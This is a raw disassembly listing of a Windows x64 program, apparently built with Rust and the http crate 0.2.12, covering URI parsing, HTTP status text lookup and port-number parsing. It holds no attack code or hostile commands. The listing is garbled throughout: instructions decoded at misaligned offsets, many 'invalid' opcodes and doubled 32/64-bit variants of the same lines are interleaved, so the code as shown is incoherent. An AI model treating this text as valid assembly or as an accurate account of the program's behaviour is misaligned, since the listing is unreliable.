outsb dx, byte [rsi]
lea rax, [rsi + 0x10]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x38]
lea eax, [rsp + 0x38]
cmp byte [rax - 0x73], cl
and al, 0x38
and al, 0x38
lea eax, [rsp + 0x38]
and al, 0x38
mov qword [rsp + 0x28], rax
lea rax, case.0x14002bbfd.380
add eax, 0x27d
add eax, 0x27d
add byte [rax - 0x77], cl
and al, 0x30
mov qword [rsp + 0x30], rax
and al, 0x30
lea rax, [0x140173648]
pop rcx
sbb dl, byte [rax + rax]
adc al, 0
adc al, 0
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
and al, 0x50
add dword [rax], eax
add byte [rax], al
invalid
and al, 0x50
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x68
add byte [rax], al
invalid
mov qword [rsp + 0x68], 0
add byte [rax], al
add byte [rax - 0x73], cl
add byte [rax], al
lea rax, [rsp + 0x28]
and al, 0x28
and al, 0x28
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
mov dword [rsp + 0x60], 1
and al, 0x60
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
and byte [r8 - 0x75], r9b
invalid
invalid
mov rcx, qword [rdi + 0x20]
mov rdx, qword [rdi + 0x28]
mov edx, dword [rdi + 0x28]
push rdi
sub byte [rbp + rcx*4 + 0x44], cl
invalid
invalid
lea r8, [rsp + 0x48]
lea eax, [rsp + 0x48]
and al, 0x48
and al, 0x48
call fcn.140013990
mov ecx, eax
invalid
mov al, 1
invalid
dec dword [rcx - 0x7bfe4f3f]
sal dword [rax + 0xfc98401], 0x85
jne case.0x140031ef2.435
add dword [rcx + rcx*8 + 0x175850f], eax
test cl, cl
leave
jne 0x140031dac
add byte [rax], al
add byte [rax - 0x75], cl
mov rdx, qword [rsi + 0x40]
mov edx, dword [rsi + 0x40]
push rsi
test rdx, rdx
test rdx, rdx
test rdx, rdx
test edx, edx
sal byte [rbp + 9], cl
jne case.0x140031ef2.587
cmp byte [rsi], 0
je 0x140031dbb
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rdi + rcx - 0x49], al
movzx r9d, word [rsi + 0x50]
movzx ecx, word [rsi + 0x50]
push rax
mov rcx, qword [rsi + 0x38]
cmp r9, 0xffff
cmp ecx, 0xffff
cmp byte [rcx - 0x7f], r9b
stc
invalid
cmp ecx, 0xffff
inc dword [rax]
add byte [rax], al
add byte [rsi + rbp + 0x4d], dh
test ecx, ecx
je 0x140031c89
test r9, r9
je 0x140031c75
cmp rdx, r9
jbe 0x140031c83
invalid
cmp byte [rcx + r9], 0xbf
jle case.0x14002e30e.364
mov ss, word [rdi + 1]
add byte [rax], al
cmp al, 9
mov edi, 0x1578e0f
mov ss, word [rdi + 1]
or dword [rdi + 0x1578e0f], edi
mov ss, word [rdi + 1]
add dword [rax], eax
add byte [rax], al
add byte [rcx + rcx*4 - 0x36], cl
mov rdx, r9
mov edx, ecx
retf 0x14eb
jmp 0x140031c89
lea rcx, [0x1401731b8]
cmp al, 0x15
adc al, 0
mov eax, 1
add dword [rax], eax
add byte [rax], al
add bl, ch
invalid
add byte [rax], al
jmp 0x140031ca2
jne case.0x14002e30e.364
test dword [rsi], edi
add dword ds:[rax], eax
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x7d], cl
cmp rdx, 1
cmp edx, 1
cli
add dword [rax - 0x77], ecx
ror byte [rax - 0x7d], 1
mov rax, rdx
adc rax, 0
rol byte [rax], 1
rol byte [rax], 1
test rdx, rdx
ror byte [rax - 0x73], cl
lea rdx, [0x1401731b8]
lea edx, [0x1401731b8]
adc eax, 0x14151a
adc al, 0
cmove rcx, rdx
cmove ecx, edx
retf 0x8948
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x28], ecx
and al, 0x28
and al, 0x28
sub byte [rax - 0x77], cl
and al, 0x30
invalid
mov qword [rsp + 0x30], rax
xor byte [rbp + rcx*4 + 0x74], cl
and al, 0x28
invalid
lea r14, [rsp + 0x28]
je 0x140031cd4
sub byte [rcx + rcx*4 + 0x74], cl
and al, 0x38
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x38], esi
je case.0x140029f23.431
cmp byte [rbp + rcx*4 + 0x3d], cl
lea r15, [0x1400e6970]
cmp eax, 0xb4cb3
mov bl, 0x4c
or eax, dword [rax]
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x40], edi
jl case.0x14002bbcb.488
and al, 0x40
lea rax, [0x140173648]
lea rax, [0x140173648]
lea eax, [0x140173648]
jg case.0x140028def.454
sbb dword [rax + rax], edx
adc al, 0
add byte [rax - 0x77], cl
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], eax
and al, 0x48
and al, 0x48
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x50], 1
and al, 0x50
push rax
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
add byte [rax], al
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x68], 0
and al, 0x68
and al, 0x68
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + rcx*4 + 0x64], cl
and al, 0x38
lea r12, [rsp + 0x38]
and al, 0x38
mov qword [rsp + 0x58], r12
mov dword [rsp + 0x58], esp
and al, 0x58
mov qword [rsp + 0x60], 1
and al, 0x60
and al, 0x60
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x75], cl
pop rdi
and byte [rax - 0x75], cl
invalid
invalid
mov rbx, qword [rdi + 0x20]
mov ebx, dword [rdi + 0x20]
mov rdi, qword [rdi + 0x28]
jg case.0x14002a5a1.319
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x48
invalid
lea r8, [rsp + 0x48]
lea eax, [rsp + 0x48]
mov rcx, rbx
mov rcx, rbx
mov ecx, ebx
mov rdx, rdi
mov edx, edi
call fcn.140013990
mov ecx, eax
invalid
test dword [rsi + rdi*8], ebx
dec dword [rcx - 0x7bfe4f3f]
invalid
mov al, 1
test cl, cl
invalid
sal dword [rax + 0xfc98401], 0x85
mov al, 1
test cl, cl
add dword [rcx + rcx*8 + 0x95850f], eax
add byte [rax], al
invalid
jne 0x140031dac
xchg ebp, eax
add byte [rax], al
add byte [rdi + rcx - 0x49], al
movzx r8d, word [rsi + 0x50]
movzx eax, word [rsi + 0x50]
mov bh, 0x46
push rax
push rax
cmp r8, 0xffff
clc
invalid
inc dword [rax]
add byte [rsi + rbp + 0x49], dh
je 0x140031d53
invalid
add byte [rax], al
je 0x140031d53
inc r8
inc eax
ror byte [rax - 0x75], 0x4e
mov rcx, qword [rsi + 0x38]
mov rdx, qword [rsi + 0x40]
mov edx, dword [rsi + 0x40]
cmp byte [rax - 0x75], cl
mov edx, dword [rsi + 0x40]
push rsi
mov rax, rdx
mov rax, rdx
mov rax, rdx
sub rax, r8
sub eax, eax
sal byte [rsi + 0x1f], 0x42
cmp byte [rcx + rax], 0xbf
cmp al, 1
invalid
jbe case.0x14002867a.306
cmp byte [rcx + r8], 0xbf
cmp al, 1
mov edi, 0x8d481a7f
jg case.0x140029841.343
invalid
invalid
jg case.0x140029841.343
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuripath.rs
lea eax, [0x14012a658]
add eax, 0xf8912
adc cl, byte [rcx - 0x76b7fff1]
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and al, 0x20
and byte [rcx - 0x77], cl
mov r9, rdx
shr eax, 1
call fcn.140108ac0
insd dword [rdi], dx
insd dword [rdi], dx
or eax, 0xebc03100
add byte [rcx], dh
shr bl, 0x55
add byte [rcx], dh
xor eax, eax
jmp 0x140031dac
shr bl, 0x55
jne case.0x140029841.337
add rcx, r8
add ecx, eax
ror dword [rax - 0x77], 0x4c
mov qword [rsp + 0x38], rcx
and al, 0x38
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
and al, 0x40
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x28], esp
and al, 0x28
and al, 0x28
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x30], edi
and al, 0x30
xor byte [rax - 0x73], cl
add eax, 0xf8ac1
mov cl, byte [rdi]
invalid
lea rax, [0x14012a838]
lea eax, [0x14012a838]
mov cl, byte [rdi]
str word [rax - 0x77]
add byte [rax - 0x77], cl
mov qword [rsp + 0x48], rax
and al, 0x48
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x50], 1
and al, 0x50
push rax
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x39], cl
invalid
and al, 0x68
and al, 0x68
add byte [rax], al
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x68], 0
and al, 0x68
push 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 + 0x74], cl
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x58], r14
mov dword [rsp + 0x58], esi
je case.0x140029f23.437
pop rax
mov qword [rsp + 0x60], 1
and al, 0x60
and al, 0x60
add dword [rax], eax
add byte [rax], al
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x48
invalid
lea r8, [rsp + 0x48]
lea eax, [rsp + 0x48]
mov rcx, rbx
mov rcx, rbx
mov ecx, ebx
mov rdx, rdi
mov edx, edi
call fcn.140013990
in al, 0x1b
sbb edi, esi
call qword [rax + 0x78c48348]
add rsp, 0x78
invalid
nop
add rsp, 0x78
invalid
js case.0x14002a5a1.422
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r14
pop rsi
pop r15
ret
mov ecx, 1
add dword [rax], eax
add byte [rax], al
invalid
add byte [rcx], dh
xor eax, eax
shr cl, 0xdb
jmp 0x140031ca2
invalid
invalid
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuripath.rs
add eax, 0xf8872
jb case.0x14002d4f5.376
str word [rax - 0x77]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and al, 0x20
and al, 0x20
xor r8d, r8d
xor eax, eax
call fcn.140108ac0
int3
or eax, 0xcccccc00
int3
int3
int3
sub esp, 0x28
mov rax, qword [rcx]
add dword [rdi], ecx
mov dh, 8
invalid
in al, dx
sub byte [rax - 0x75], cl
add dword [rdi], ecx
mov dh, 8
invalid
or byte [rbx + 0x137401f9], al
cmp ecx, 1
je 0x140031e02
invalid
stc
add dword [rbx + rdx - 0x7d], esi
invalid
invalid
adc eax, dword [rbx + 0x457502f9]
cmp ecx, 2
stc
add dh, byte [rbp + 0x45]
jne case.0x14002bbfd.287
mov rcx, qword [rax + 8]
or byte [rax - 0x75], cl
or byte [rax - 0x75], cl
mov rax, qword [rcx + 8]
mov r8, qword [rcx + 0x10]
mov eax, dword [rcx + 0x10]
or byte [r11 + rcx*4 + 0x41], cl
or byte [rbx + rcx*4 + 0x41], cl
mov eax, dword [rcx + 0x10]
adc bl, ch
and dword [rbp + 0x31], eax
invalid
jmp 0x140031e23
xor r8d, r8d
xor eax, eax
rol byte [rax + 0x41000178], 0xf
cmp byte [rax + 1], 0
sete r8b
sete al
add byte [rcx + 0xf], al
sete al
xchg esp, eax
ror byte [rax - 0x73], 0xd
invalid
invalid
invalid
lea rcx, [0x140172e43]
invalid
adc byte [rax + rax], dl
adc al, 0
add byte [rax - 0x73], cl
add eax, 0x14102c
sub al, 0x10
adc al, 0
invalid
lea rax, [0x140172e47]
lea eax, [0x140172e47]
sub al, 0x10
adc al, 0
invalid
add byte [rax + 0xf], cl
cmove rax, rcx
ror dword [rcx - 0x7d], 0xf0
ror dword [rcx - 0x7d], 0xf0
xor r8, 5
add eax, 0x204a8b48
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
mov rdx, rax
invalid
invalid
mov r9, qword [rdx + 0x18]
mov rdx, rax
add rsp, 0x28
jmp r9
jmp rcx
jmp rcx
loope 0x140031e82
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea ecx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
js 0x140031de2
adc dword [rax], eax
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuri_scheme.rsp
lea eax, [0x14012a6d0]
mov byte [rdi], cl
add byte [rdx + 0x28], bh
mov edx, 0x28
add al, ch
fbld tbyte [rdi + 0xd]
invalid
invalid
add ah, cl
int3
int3
call fcn.140108630
or eax, 0xcccccc00
int3
int3
int3
int3
int3
int3
mov rcx, qword [rcx]
mov rax, qword [rcx + 8]
or byte [r11 + rcx*4 + 0x41], cl
adc byte [rax - 0x75], cl
invalid
invalid
mov r8, qword [rcx + 0x10]
mov eax, dword [rcx + 0x10]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
mov edx, eax
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
mov edx, eax
invalid
invalid
mov edx, eax
jmp r9
jmp rcx
int3
int3
cli
add esi, dword [rbp + 0x46]
invalid
movzx r10d, byte [rcx]
movzx edx, byte [rcx]
lea r8d, [rdx - 0x3a]
lea eax, [rdx - 0x3a]
invalid
xor eax, eax
cmp r8b, 0xf7
div dword [rdx + 0x36]
div dword [rdx + 0x36]
movzx r8d, byte [rcx + 1]
add r8b, 0xd0
cmp r8b, 9
cmp al, 9
mov dh, 0x41
add dword [rcx - 0x80], eax
rcl al, 0x41
cmp al, 9
or dword [rdi + 0x27], esi
ja case.0x14002867a.207
movzx ecx, byte [rcx + 2]
add cl, 0xd0
cmp cl, 9
stc
or dword [rdi + 0x1b], esi
add al, byte [r8 - 0x67f2f3f]
stc
or dword [rdi + 0x1b], esi
movzx eax, r8b
movzx eax, al
add dl, 0xd0
movzx edx, dl
shr byte [rbx - 0x2e], cl
add eax, eax
invalid
shr byte [rbx - 0x2e], cl
add eax, eax
invalid
shl byte [rcx + rax - 0x40], cl
rol byte [rbp + rcx*4 + 4], 0x80
lea r8d, [rax + rax*4]
movzx eax, cl
add eax, r8d
add eax, edx
rol byte [rcx], 0xd0
ret
rol bl, 0xcc
xor eax, eax
add ecx, 0xffffff9c
cmp ecx, 0x19b
add byte [rax], al
add byte [rax], al
ja 0x1400321fc
sbb byte [rbx], al
add byte [rax], al
lea rdx, [0x140177194]
lea edx, [0x140177194]
test eax, 0x48001452
invalid
adc al, 0
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
lea rax, [0x140142252]
add eax, 0x110357
mov edx, 8
or byte [rax], al
add byte [rax], al
invalid
add bl, al
ret
lea rax, [0x14012afda]
add eax, 0xf90d2
nop
invalid
mov edx, 0xf
ret
add bl, al
lea rax, [0x14012b047]
lea eax, [0x14012b047]
add eax, 0xf9132
mov edx, 0x14
ret
lea rax, [0x14012b007]
add eax, 0xf90e5
mov edx, 0xf
ret
add bl, al
lea rax, [0x14012af09]
add eax, 0xf8fda
fimul dword [rdi + 0xcba000f]
mov edx, 0xc
ret
add byte [rax], al
add bl, al
lea rax, [0x14012afc5]
add eax, 0xf9089
mov edx, 0x15
ret
add bl, al
lea rax, [0x14012aef7]
add eax, 0xf8fae
mov edx, 0x12
ret
lea rax, [0x14012aecc]
add eax, 0xf8f76
mov edx, 0x16
ret
invalid
lea rax, [0x14012af53]
add eax, 0xf8ff0
mov edx, 0x10
ret
lea rax, [0x14012adfc]
add eax, 0xf8e8c
add byte [rdx + 0xb], bh
mov edx, 0xb
ret
lea rax, [0x14012ae2c]
add eax, 0xf8eaf
mov edx, 9
ret
lea rax, [0x14012ae13]
add eax, 0xf8e89
mov edx, 0x10
ret
lea rax, [0x14012ae9c]
add eax, 0xf8f05
mov edx, 0x13
ret
lea rax, [0x14012ad8d]
add eax, 0xf8de9
mov edx, 7
ret
lea rax, [0x14012ad7d]
add eax, 0xf8dcc
mov edx, 0x10
ret
lea rax, [0x14012ae55]
add eax, 0xf8e97
mov edx, 0x1d
ret
lea rax, [0x14012af15]
add eax, 0xf8f4a
mov edx, 0x13
ret
lea rax, [0x14012ae07]
add eax, 0xf8e2f
mov edx, 0xc
ret
lea rax, [0x14012ad2e]
add eax, 0xf8d49
mov edx, 0x1d
ret
lea rax, [0x14012ad4b]
add eax, 0xf8d59
mov edx, 0xa
ret
lea rax, [0x14012add8]
add eax, 0xf8dd9
mov edx, 0x12
ret
lea rax, [0x14012ae72]
add eax, 0xf8e66
mov edx, 0xf
ret
lea rax, [0x14012ae89]
add eax, 0xf8e70
mov edx, 4
ret
lea rax, [0x14012ad62]
add eax, 0xf8d3c
mov edx, 0xf
ret
lea rax, [0x14012ae23]
add eax, 0xf8df0
mov edx, 9
ret
lea rax, [0x14012af28]
add eax, 0xf8ee8
mov edx, 0x14
ret
lea rax, [0x14012ad55]
add eax, 0xf8d08
mov edx, 0xd
ret
lea rax, [0x14012ada4]
add eax, 0xf8d4a
mov edx, 0x11
ret
lea rax, [0x14012ad13]
add eax, 0xf8cac
mov edx, 0xa
ret
lea rax, [0x14012adb5]
add eax, 0xf8d41
mov edx, 5
ret
lea rax, [0x14012ad1d]
add eax, 0xf8c9c
mov edx, 2
ret
lea rax, [0x14012ad26]
add eax, 0xf8c98
mov edx, 8
ret
lea rax, [0x14012ae81]
add eax, 0xf8de6
mov edx, 8
ret
lea rax, str.Switching_ProtocolsProcessingOKCreatedAcceptedNon_Authoritative_InformationNo_ContentReset_ContentPartial_ContentMulti_StatusAlready_ReportedIM_UsedMultiple_ChoicesMoved_PermanentlyFoundSee_OtherNot_ModifiedUse_ProxyTemporary_RedirectPermanent_RedirectBad_RequestUnauthorizedPayment_RequiredForbiddenNot_FoundMethod_Not_AllowedNot_AcceptableProxy_Authentication_RequiredRequest_TimeoutConflictGoneLength_RequiredPrecondition_FailedPayload_Too_LargeURI_Too_LongUnsupported_Media_TypeRange_Not_SatisfiableExpectation_FailedIm_a_teapotMisdirected_RequestUnprocessable_EntityLockedFailed_DependencyUpgrade_RequiredPrecondition_RequiredToo_Many_RequestsRequest_Header_Fields_Too_LargeUnavailable_For_Legal_ReasonsInternal_Server_ErrorNot_ImplementedBad_GatewayService_UnavailableGateway_TimeoutHTTP_Version_Not_SupportedVariant_Also_NegotiatesInsufficient_StorageLoop_DetectedNot_ExtendedNetwork_Authentication_Required
add eax, 0xf8c58
mov edx, 0x13
ret
lea rax, [0x14012af63]
add eax, 0xf8eae
mov edx, 0x15
ret
lea rax, [0x14012aee2]
add eax, 0xf8e20
mov edx, 0x15
ret
lea rax, [0x14012adc3]
add eax, 0xf8cf4
mov edx, 0xc
ret
lea rax, [0x14012afa8]
add eax, 0xf8ecc
mov edx, 0x1d
ret
lea rax, [0x14012af78]
add eax, 0xf8e8f
mov edx, 0x11
ret
lea rax, [0x14012ad1f]
add eax, 0xf8c29
mov edx, 7
ret
lea rax, [0x14012b016]
add eax, 0xf8f13
mov edx, 0x1a
ret
lea rax, [0x14012ad71]
add eax, 0xf8c61
mov edx, 0xc
ret
lea rax, [0x14012adba]
add eax, 0xf8c9d
mov edx, 9
ret
lea rax, [0x14012aeaf]
add eax, 0xf8d85
mov edx, 0x11
ret
lea rax, [0x14012ad94]
add eax, 0xf8c5d
mov edx, 0x10
ret
lea rax, [0x14012af3c]
add eax, 0xf8df8
mov edx, 6
ret
lea rax, [0x14012adea]
add eax, 0xf8c99
mov edx, 0x12
ret
lea rax, [0x14012b030]
add eax, 0xf8ed2
mov edx, 0x17
ret
lea rax, [0x14012b068]
add eax, 0xf8efd
mov edx, 0xc
ret
lea rax, [0x14012adcf]
add eax, 0xf8c57
mov edx, 9
ret
lea rax, [0x14012b05b]
add eax, 0xf8ed6
mov edx, 0xd
ret
lea rax, [0x14012ae47]
add eax, 0xf8cb5
mov edx, 0xe
ret
lea rax, [0x14012ae35]
add eax, 0xf8c96
mov edx, 0x12
ret
lea rax, [0x14012aff4]
add eax, 0xf8e48
mov edx, 0x13
ret
lea rax, [0x14012aec0]
add eax, 0xf8d07
mov edx, 0xc
ret
add bl, al
lea rax, [0x14012ae8d]
mov edx, 0xf
add bl, al
add bl, al
lea rax, [0x14012af89]
jmp 0x1400321f6
lea rax, [0x14012af42]
add eax, 0xf8d66
mov edx, 0x11
ret
lea rax, [0x14012afe9]
lea eax, [0x14012afe9]
mov edx, 0xb
ret
lea rax, [0x14012b074]
mov edx, 0x1f
ret
ret
add byte [rbp - 0x77], cl
call 0x189c34df9
cmp eax, edx
jae 0x140032654
mov r11, qword [rsp + 0x98]
mov r14, qword [rsp + 0xa8]
mov r15, qword [rsp + 0xb8]
mov rsi, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x70]
mov r9, qword [rsp + 0x78]
js 0x14003252f
mov dword [rsp + 0x40], ecx
js 0x14003252f
mov dword [rsp + 0x40], ecx
mov rbx, qword [rsp + 0xa0]
lea r9, [r14 - 1]
mov qword [rsp + 0x58], r9
mov qword [rsp + 0x30], rsi
jmp 0x14003251b
mov r10, rax
cmp r11, 0xffffffffffffffff
je 0x14003250c
mov rbx, r10
mov r13, r8
sub r8, rax
cmp r8, rdx
jae 0x140032654
movzx r9d, byte [r14 + r8]
bt rsi, r9
jae 0x140032500
cmp rcx, rbx
mov rsi, rbx
mov esi, ebx
mov esi, ebx
cmovb rsi, rcx
int1
cmp r11, 0xffffffffffffffff
cmove rsi, rcx
lea rdi, [rsi - 1]
lea rbp, [r8 - 1]
mov r9, qword [rsp + 0x58]
lea r12, [r9 + r8]
mov r9, rsi
nop dword [rax]
sub r9, 1
jb 0x1400325a0
cmp rdi, rax
jae 0x140032860
lea r10, [rsi + rbp]
cmp r10, rdx
jae 0x140032872
movzx r10d, byte [r15 + rsi - 1]
cmp r10b, byte [r12 + rsi]
mov rsi, r9
je 0x140032550
add r9, r13
sub r9, rcx
mov r10, rax
mov r8, r9
cmp r11, 0xffffffffffffffff
mov rsi, qword [rsp + 0x30]
jne 0x140032509
jmp 0x14003250c
cmp r11, 0xffffffffffffffff
mov r9, rbx
cmove r9, rax
lea r10, [r14 + r8]
mov rsi, rcx
nop word cs:[rax + rax]
cmp rsi, r9
jae 0x140032660
cmp rsi, rax
jae 0x1400328a2
lea rdi, [r8 + rsi]
cmp rdi, rdx
jae 0x1400328b8
movzx edi, byte [r15 + rsi]
lea r12, [rsi + 1]
cmp dil, byte [r10 + rsi]
mov rsi, r12
je 0x1400325c0
mov r10, qword [rsp + 0x40]
sub r13, r10
mov r8, r13
cmp r11, 0xffffffffffffffff
mov rsi, qword [rsp + 0x30]
jne 0x140032509
jmp 0x14003250c
xor ecx, ecx
mov rdi, qword [rsp + 0x38]
jmp 0x1400327f5
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x50]
mov r14, qword [rsp + 0x48]
inc r8
je 0x1400326b0
cmp r8, rbx
jae 0x1400326ae
cmp byte [r14 + r8], 0xc0
jge 0x1400326b0
lea rax, [0x14012a570]
mov qword [rsp + 0x20], rax
mov rcx, r14
mov rdx, rbx
mov r9, rbx
call fcn.140108ac0
test r8b, r8b
je 0x1400327f3
mov r8d, 1
cmp r8, rbx
jb 0x140032679
jne 0x140032680
sub rbx, r8
je 0x1400327f3
add r14, r8
cmp rbx, 1
jne 0x1400326e5
movzx eax, byte [r14]
xor ecx, ecx
cmp eax, 0x2b
je 0x1400327f5
mov r9d, 1
mov r8, r14
cmp eax, 0x2d
je 0x1400327f5
jmp 0x14003274a
cmp byte [r14], 0x2b
jne 0x14003273e
lea r8, [r14 + 1]
lea r9, [rbx - 1]
cmp rbx, 6
jb 0x14003274a
xor ecx, ecx
mov r10w, 0xa
xor r11d, r11d
xor eax, eax
nop word cs:[rax + rax]
mul r10w
jo 0x1400327f5
movzx edx, byte [r8 + r11]
add edx, 0xffffffd0
cmp edx, 9
ja 0x1400327f5
add ax, dx
jb 0x1400327f5
inc r11
cmp r9, r11
jne 0x140032710
jmp 0x140032773
mov r8, r14
mov r9, rbx
cmp rbx, 5
jae 0x1400326f9
xor ecx, ecx
xor edx, edx
xor eax, eax
movzx r10d, byte [r8 + rdx]
add r10d, 0xffffffd0
cmp r10d, 9
ja 0x1400327f5
add eax, eax
lea eax, [rax + rax*4]
add eax, r10d
inc rdx
cmp r9, rdx
jne 0x140032750
mov qword [rdi + 8], rbx
mov word [rdi + 0x10], ax
mov rcx, r14
jmp 0x1400327f5
xor ecx, ecx
mov qword [rdi], rcx
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add eax, ecx
je 0x140032881
cmp r8, rdx
jae 0x140032889
cmp byte [rcx + r8], 0xbf
jg 0x14003288b
mov r9, r8
lea rax, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_strpattern.rs
mov qword [rsp + 0x20], rax
xor r8d, r8d
call fcn.140108ac0
lea r8, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_strpattern.rs
mov rcx, r9
mov rdx, rax
call fcn.1401085b0
lea r8, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_strpattern.rs
mov rcx, r10
call fcn.1401085b0
xor r8d, r8d
xor eax, eax
jmp 0x14003266f
jne 0x140032849
cmp byte [rcx + r8 - 1], 0
jns 0x14003266f
cmp byte [rcx + r8 - 2], 0xbf
jmp 0x14003266f
cmp rcx, rax
cmovbe rcx, rax
enter 0xffffffffffff8d4c, 5
push rax
push rsi
adc dword [rax], eax
enter 0xffffffffffff8d4c, 5
push rax
push rsi
adc dword [rax], eax
mov rdx, rax
call fcn.1401085b0
add rcx, r8
cmp rdx, rcx
cmova rcx, rdx
lea r8, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_strpattern.rs
call fcn.1401085b0
int3
test r8, r8
je 0x140032902
mov rdi, r8
lea rcx, [rsp + 0x28]
mov rbx, rdx
call fcn.140032240
cmp byte [rsp + 0x28], 0
je 0x140032909
movzx eax, byte [rsp + 0x29]
mov byte [rsi + 8], al
jmp 0x140032972
mov al, 9
mov byte [rsi + 8], al
jmp 0x140032972
cmp qword [rsp + 0x30], rdi
jne 0x14003296e
test rdi, rdi
js 0x140032983
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rdi
call fcn.1400df910
test rax, rax
je 0x140032988
pop rbp
pop rbp
mov r14, rax
mov rcx, rax
mov rdx, rbx
mov r8, rdi
call fcn.140106530
mov rax, r14
or rax, 1
test r14b, 1
cmovne rax, r14
lea rcx, [0x14012a090]
lea rdx, [0x14012a0a8]
cmove rdx, rcx
mov qword [rsi], rdx
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], rax
jmp 0x140032979
mov byte [rsi + 8], 0
mov qword [rsi], 0
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
call fcn.140010970
call 0xfa032768
add dword [rax], eax
add byte [rax], al
mov ecx, 1
mov rdx, rdi
call fcn.1401082a0
int3
add al, ch
invalid
add al, ch
neg byte [rbp + 0xd]
add byte [rax - 0x73], cl
add eax, 0xf7a6f
mov qword [rsp + 0x20], rax
mov rcx, rsi
xor r8d, r8d
call fcn.140108ac0
int3
int3
sub esp, 0x38
cmp byte [rcx + 0x41], 0
je 0x140032bdd
xor eax, eax
jmp 0x140032d54
mov rdi, rcx
cmp byte [rcx + 0x40], 0
je 0x140032d08
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x20], rax
mov r13, qword [rdi + 0x20]
mov r14, qword [rdi + 0x28]
cmp r13, r14
ja 0x140032d3b
mov r15, qword [rdi + 0x18]
cmp r14, r15
ja 0x140032d3b
mov rax, qword [rsp + 0x20]
lea r12, [rax + r13]
lea rbp, [rdi + 0x30]
movzx ebx, byte [rdi + 0x38]
lea rax, [rbx - 1]
mov qword [rsp + 0x28], rax
cmp rbx, 4
jbe 0x140032ca0
nop word cs:[rax + rax]
sub r14, r13
movzx ecx, byte [rbp + rbx - 1]
mov rdx, r12
mov r8, r14
call fcn.140018130
cmp rax, 1
jne 0x140032d2c
test edi, ecx
add byte [rax], al
invalid
test edi, ecx
add byte [rax], al
add byte [rcx - 0x77], cl
invalid
mov r14, rdx
add r14, r13
mov rax, r14
sub rax, qword [rsp + 0x28]
jb 0x140032c7b
add rax, rbx
jb 0x140032c7b
cmp rax, r15
jbe 0x140032d7e
mov qword [rdi + 0x28], r14
cmp r13, r14
ja 0x140032d3b
cmp r14, r15
jbe 0x140032c40
jmp 0x140032d3b
sub r14, r13
movzx ecx, byte [rbp + rbx - 1]
mov rdx, r12
mov r8, r14
call fcn.140018130
cmp rax, 1
jne 0x140032d32
mov r14, rdx
add r14, r13
mov rsi, r14
sub rsi, qword [rsp + 0x28]
jb 0x140032cf8
mov rcx, rsi
add rcx, rbx
jb 0x140032cf8
cmp rcx, r15
ja 0x140032cf8
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x30], rcx
lea rcx, [rax + rsi]
mov rdx, rbp
mov r8, rbx
call fcn.140106bb0
mov rcx, qword [rsp + 0x30]
test eax, eax
je 0x140032d65
mov qword [rdi + 0x28], r14
cmp r13, r14
ja 0x140032d3b
cmp r14, r15
jbe 0x140032ca0
jmp 0x140032d3b
mov byte [rdi + 0x40], 1
mov rcx, rdi
call fcn.140032bc0
test rax, rax
je 0x140032d1e
test rdx, rdx
